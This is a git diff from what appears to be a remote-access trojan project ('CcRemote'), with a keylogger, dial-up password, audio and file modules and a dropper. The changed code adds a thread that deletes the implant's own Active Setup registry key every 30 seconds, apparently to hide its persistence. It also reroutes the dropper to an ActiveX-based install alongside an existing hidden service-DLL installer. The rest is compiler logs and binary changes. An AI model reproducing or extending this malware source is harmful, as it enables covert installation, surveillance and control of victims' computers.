diff --git a/CcMainDll/.vs/CcMainDll/v15/.suo b/CcMainDll/.vs/CcMainDll/v15/.suo index cd3911a..655d6a0 100644 Binary files a/CcMainDll/.vs/CcMainDll/v15/.suo and b/CcMainDll/.vs/CcMainDll/v15/.suo differ diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm deleted file mode 100644 index 45dbd12..0000000 Binary files a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-shm and /dev/null differ diff --git a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal b/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal deleted file mode 100644 index 1b5e0e3..0000000 Binary files a/CcMainDll/.vs/CcMainDll/v15/Solution.VC.db-wal and /dev/null differ diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log index c4c2456..e663734 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.Build.CppClean.log @@ -1,5 +1,3 @@ -g:\ccremote\ccremote\bin\server\ccmaindll.lib -g:\ccremote\ccremote\bin\server\ccmaindll.exp g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.pch g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.pdb g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\vc141.idb @@ -26,16 +24,6 @@ g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dialupass.obj g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\audiomanager.obj g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\filemanager.obj g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\strcry.obj -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\dllmain.obj -g:\ccremote\ccremote\bin\server\ccmaindll.ilk -g:\ccremote\ccremote\bin\server\ccmaindll.dll -g:\ccremote\ccremote\bin\server\ccmaindll.pdb -g:\ccremote\ccremote\ccmaindll\ccmaindll\..\..\bin\server\ccmaindll.dll -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\ccmaindll.write.1u.tlog g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.command.1.tlog g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.read.1.tlog g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.delete.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccmaindll\ccmaindll\debug\ccmaindll.tlog\link.write.1.tlog diff --git a/CcMainDll/CcMainDll/Debug/CcMainDll.log b/CcMainDll/CcMainDll/Debug/CcMainDll.log index fa2e9c6..f900de8 100644 --- a/CcMainDll/CcMainDll/Debug/CcMainDll.log +++ b/CcMainDll/CcMainDll/Debug/CcMainDll.log @@ -168,15 +168,17 @@ g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4838: 从 g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(198): warning C4309: “初始化”: 截断常量值 g:\ccremote\ccremote\ccmaindll\ccmaindll\common\login.h(225): warning C4996: 'GetVersionExA': 被声明为已否决 g:\windows kits\10\include\10.0.17763.0\um\sysinfoapi.h(378): note: 参见“GetVersionExA”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4838: 从“int”转换到“char”需要收缩转换 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(52): warning C4309: “初始化”: 截断常量值 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(188): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4838: 从“int”转换到“char”需要收缩转换 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(55): warning C4309: “初始化”: 截断常量值 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(191): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(256): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(259): warning C4996: 'strncpy': This function or variable may be unsafe. Consider using strncpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(338): note: 参见“strncpy”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(257): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(260): warning C4996: 'wcstombs': This function or variable may be unsafe. Consider using wcstombs_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\stdlib.h(1015): note: 参见“wcstombs”的声明 -g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(299): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(304): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. + g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 +g:\ccremote\ccremote\ccmaindll\ccmaindll\dllmain.cpp(339): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 StrCry.cpp g:\ccremote\ccremote\ccmaindll\ccmaindll\strcry.cpp(8): warning C4018: “<=”: 有符号/无符号不匹配 diff --git a/CcMainDll/CcMainDll/dllmain.cpp b/CcMainDll/CcMainDll/dllmain.cpp index 4e185b2..4d5a8b1 100644 --- a/CcMainDll/CcMainDll/dllmain.cpp +++ b/CcMainDll/CcMainDll/dllmain.cpp @@ -5,8 +5,11 @@ #include "common/login.h" #include "common/install.h" #include +#include +#pragma comment(lib,"shlwapi.lib") +DWORD WINAPI DelAXRegThread(LPVOID lpParam); char svcname[MAX_PATH]; SERVICE_STATUS_HANDLE hServiceStatus; @@ -282,8 +285,10 @@ extern "C" __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[]) return; } + extern "C" __declspec(dllexport) void MainRun(HWND hwnd, HINSTANCE hinst, LPSTR lpCmdLine, int nCmdShow) { + MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)DelAXRegThread, NULL, 0, NULL); HANDLE hThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)main, (LPVOID)svcname, 0, NULL); WaitForSingleObject(hThread, INFINITE); } @@ -313,3 +318,34 @@ extern "C" __declspec(dllexport) void FirstRun(HWND hwnd, HINSTANCE hinst, LPSTR } + + +DWORD WINAPI DelAXRegThread(LPVOID lpParam) +{ + char strFileName[MAX_PATH]; //dll文件名 + char *pstrTemp = NULL; + char ActiveXStr[1024]; //activex 键值字符串 + + ZeroMemory(ActiveXStr, 1024); + ZeroMemory(strFileName, MAX_PATH); + //得到自身文件名 + GetModuleFileName(CKeyboardManager::g_hInstance, strFileName, MAX_PATH); + PathStripPath(strFileName); //将完整文件名转换为文件名 + pstrTemp = strstr(strFileName, ".dll"); //寻找 .dll然后将他删除掉 + if (pstrTemp != NULL) + { + ZeroMemory(pstrTemp, strlen(pstrTemp)); //删除掉扩展名 + //构造键值 + sprintf(ActiveXStr, "%s%s", "Software\\Microsoft\\Active Setup\\Installed Components\\", strFileName); + while (1) + { + //不停的删除注册表 + RegDeleteKey(HKEY_CURRENT_USER, ActiveXStr); + OutputDebugString(ActiveXStr); //输出删除的字串用以测试 + Sleep(1000 * 30); + } + } + return 0; + +} + diff --git a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log index 3c5113f..7138a15 100644 --- a/CcMainDll/Loder/Debug/Loder.Build.CppClean.log +++ b/CcMainDll/Loder/Debug/Loder.Build.CppClean.log @@ -1,17 +1,2 @@ -g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.pdb -g:\ccremote\ccremote\ccmaindll\loder\debug\vc141.idb -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.obj -g:\ccremote\ccremote\bin\server\loder.ilk -g:\ccremote\ccremote\bin\server\loder.exe -g:\ccremote\ccremote\bin\server\loder.pdb g:\ccremote\ccremote\ccmaindll\loder\debug\loder.res g:\ccremote\ccremote\ccmaindll\loder\..\\..\\bin\\server\loder.exe -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.command.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.read.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\cl.write.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.command.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.read.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\link.write.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.command.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.read.1.tlog -g:\ccremote\ccremote\ccmaindll\loder\debug\loder.tlog\rc.write.1.tlog diff --git a/CcMainDll/Loder/Debug/Loder.log b/CcMainDll/Loder/Debug/Loder.log index ea97e7a..732b020 100644 --- a/CcMainDll/Loder/Debug/Loder.log +++ b/CcMainDll/Loder/Debug/Loder.log @@ -12,18 +12,19 @@ g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(114): warning C4996: 'strcpy': g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 g:\ccremote\ccremote\ccmaindll\loder\regeditex.h(141): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(246): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(243): warning C4996: '_snprintf': This function or variable may be unsafe. Consider using _snprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1961): note: 参见“_snprintf”的声明 -g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(278): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(275): warning C4996: 'strcpy': This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(133): note: 参见“strcpy”的声明 -g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(283): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(280): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(284): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(281): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(285): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(282): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明 -g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(289): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(286): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 -g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(294): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. +g:\ccremote\ccremote\ccmaindll\loder\loder.cpp(291): warning C4996: 'sprintf': This function or variable may be unsafe. Consider using sprintf_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details. g:\windows kits\10\include\10.0.17763.0\ucrt\stdio.h(1774): note: 参见“sprintf”的声明 - Loder.vcxproj -> G:\CcRemote\CcRemote\CcMainDll\Loder\..\\..\\bin\\server\Loder.exe +LIBCMTD.lib(exe_main.obj) : error LNK2019: 无法解析的外部符号 _main,该符号在函数 "int __cdecl invoke_main(void)" (?invoke_main@@YAHXZ) 中被引用 +..\\..\\bin\\server\\loder.exe : fatal error LNK1120: 1 个无法解析的外部命令 diff --git a/CcMainDll/Loder/Debug/Loder.res b/CcMainDll/Loder/Debug/Loder.res index 12df9d4..2f89fbb 100644 Binary files a/CcMainDll/Loder/Debug/Loder.res and b/CcMainDll/Loder/Debug/Loder.res differ diff --git a/CcMainDll/Loder/Debug/Loder.tlog/unsuccessfulbuild b/CcMainDll/Loder/Debug/Loder.tlog/unsuccessfulbuild new file mode 100644 index 0000000..e69de29 diff --git a/CcMainDll/Loder/Loder.cpp b/CcMainDll/Loder/Loder.cpp index ff3834b..4ae64b6 100644 --- a/CcMainDll/Loder/Loder.cpp +++ b/CcMainDll/Loder/Loder.cpp @@ -5,8 +5,6 @@ #include #include "resource.h" #include "RegEditEx.h" - - bool CreateMyFile(const char* strFilePath, LPBYTE lpBuffer, DWORD dwSize) { DWORD dwWritten; @@ -148,7 +146,7 @@ void StartService(LPCTSTR lpService) } -int main() +int ServerSetup() { //CreateEXE("E:\\aaa.dll", IDR_DLL1, "DLL"); @@ -219,7 +217,6 @@ int main() //写入服务的描述 WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "ServiceDll", REG_EXPAND_SZ, (char *)strModulePath, lstrlen(strModulePath), 0); - printf("123"); if (schService != NULL) { CreateEXE(strModulePath, IDR_DLL1, "DLL"); @@ -312,3 +309,10 @@ void ActiveXSetup() BOOL bReturn = CreateProcess(NULL, strCmdLine, NULL, NULL, FALSE, NULL, NULL, NULL, &StartInfo, &ProcessInformation); return; } + +int main() +{ + // TODO: Place code here. + ActiveXSetup(); + return 0; +} diff --git a/bin/server/CcMainDll.dll b/bin/server/CcMainDll.dll index b96210d..af58fc9 100644 Binary files a/bin/server/CcMainDll.dll and b/bin/server/CcMainDll.dll differ diff --git a/bin/server/loder.exe b/bin/server/loder.exe deleted file mode 100644 index 5256d2d..0000000 Binary files a/bin/server/loder.exe and /dev/null differ